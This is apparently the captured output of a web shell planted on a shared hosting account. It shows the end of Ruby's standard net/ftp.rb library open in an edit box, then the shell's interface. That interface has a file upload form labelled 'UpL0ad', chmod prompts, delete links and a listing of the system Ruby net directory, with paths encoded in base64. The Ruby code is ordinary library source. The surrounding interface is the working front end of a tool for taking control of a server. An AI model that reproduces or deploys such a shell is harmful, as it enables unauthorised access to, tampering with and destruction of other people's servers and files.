    private :parse_pasv_ipv4_host

    def parse_pasv_ipv6_host(s)
      return s.split(/,/).map { |i|
        &quot;%02x&quot; % i.to_i
      }.each_slice(2).map(&amp;:join).join(&quot;:&quot;)
    end
    private :parse_pasv_ipv6_host

    def parse_pasv_port(s)
      return s.split(/,/).map(&amp;:to_i).inject { |x, y|
        (x &lt;&lt; 8) + y
      }
    end
    private :parse_pasv_port

    # handler for response code 229
    # (Extended Passive Mode Entered)
    #
    # Returns host and port.
    def parse229(resp) # :nodoc:
      if !resp.start_with?(&quot;229&quot;)
        raise FTPReplyError, resp
      end
      if m = /\((?&lt;d&gt;[!-~])\k&lt;d&gt;\k&lt;d&gt;(?&lt;port&gt;\d+)\k&lt;d&gt;\)/.match(resp)
        return @sock.peeraddr[3], m[&quot;port&quot;].to_i
      else
        raise FTPProtoError, resp
      end
    end
    private :parse229

    # handler for response code 257
    # (&quot;PATHNAME&quot; created)
    #
    # Returns host and port.
    def parse257(resp) # :nodoc:
      if !resp.start_with?(&quot;257&quot;)
        raise FTPReplyError, resp
      end
      return resp.slice(/&quot;(([^&quot;]|&quot;&quot;)*)&quot;/, 1).to_s.gsub(/&quot;&quot;/, &#039;&quot;&#039;)
    end
    private :parse257

    # :stopdoc:
    class NullSocket
      def read_timeout=(sec)
      end

      def closed?
        true
      end

      def close
      end

      def method_missing(mid, *args)
        raise FTPConnectionError, &quot;not connected&quot;
      end
    end

    class BufferedSocket &lt; BufferedIO
      [:addr, :peeraddr, :send, :shutdown].each do |method|
        define_method(method) { |*args|
          @io.__send__(method, *args)
        }
      end

      def read(len = nil)
        if len
          s = super(len, String.new, true)
          return s.empty? ? nil : s
        else
          result = String.new
          while s = super(DEFAULT_BLOCKSIZE, String.new, true)
            break if s.empty?
            result &lt;&lt; s
          end
          return result
        end
      end

      def gets
        line = readuntil(&quot;\n&quot;, true)
        return line.empty? ? nil : line
      end

      def readline
        line = gets
        if line.nil?
          raise EOFError, &quot;end of file reached&quot;
        end
        return line
      end
    end
    # :startdoc:
  end
end


# Documentation comments:
#  - sourced from pickaxe and nutshell, with improvements (hopefully)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /opt/alt/ruby23/lib64/ruby/2.3.0/net<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>126</td></tr><tr><td></td><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjA="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&x=ZnRwLnJi">X</a></td><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=ZnRwLnJi"/>ftp.rb</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=ZnRwLnJi&c=`+btoa(c):0" value="0644"></td><td>35829</td></tr><tr><td></td><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0L2h0dHA="/>http</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=aHR0cA==&c=`+btoa(c):0" value="0755"></td><td>187</td></tr><tr><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&x=aHR0cC5yYg==">X</a></td><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=aHR0cC5yYg=="/>http.rb</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=aHR0cC5yYg==&c=`+btoa(c):0" value="0644"></td><td>48851</td></tr><tr><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&x=aHR0cHMucmI=">X</a></td><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=aHR0cHMucmI="/>https.rb</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=aHR0cHMucmI=&c=`+btoa(c):0" value="0644"></td><td>527</td></tr><tr><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&x=aW1hcC5yYg==">X</a></td><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=aW1hcC5yYg=="/>imap.rb</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=aW1hcC5yYg==&c=`+btoa(c):0" value="0644"></td><td>110605</td></tr><tr><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&x=cG9wLnJi">X</a></td><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=cG9wLnJi"/>pop.rb</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=cG9wLnJi&c=`+btoa(c):0" value="0644"></td><td>27212</td></tr><tr><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&x=cHJvdG9jb2wucmI=">X</a></td><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=cHJvdG9jb2wucmI="/>protocol.rb</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=cHJvdG9jb2wucmI=&c=`+btoa(c):0" value="0644"></td><td>9262</td></tr><tr><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&x=c210cC5yYg==">X</a></td><td><a href="?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=c210cC5yYg=="/>smtp.rb</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcnVieTIzL2xpYjY0L3J1YnkvMi4zLjAvbmV0&f=c210cC5yYg==&c=`+btoa(c):0" value="0644"></td><td>31141</td></tr></table>
	.	126
	..	4096
X	ftp.rb	35829
	http	187
X	http.rb	48851
X	https.rb	527
X	imap.rb	110605
X	pop.rb	27212
X	protocol.rb	9262
X	smtp.rb	31141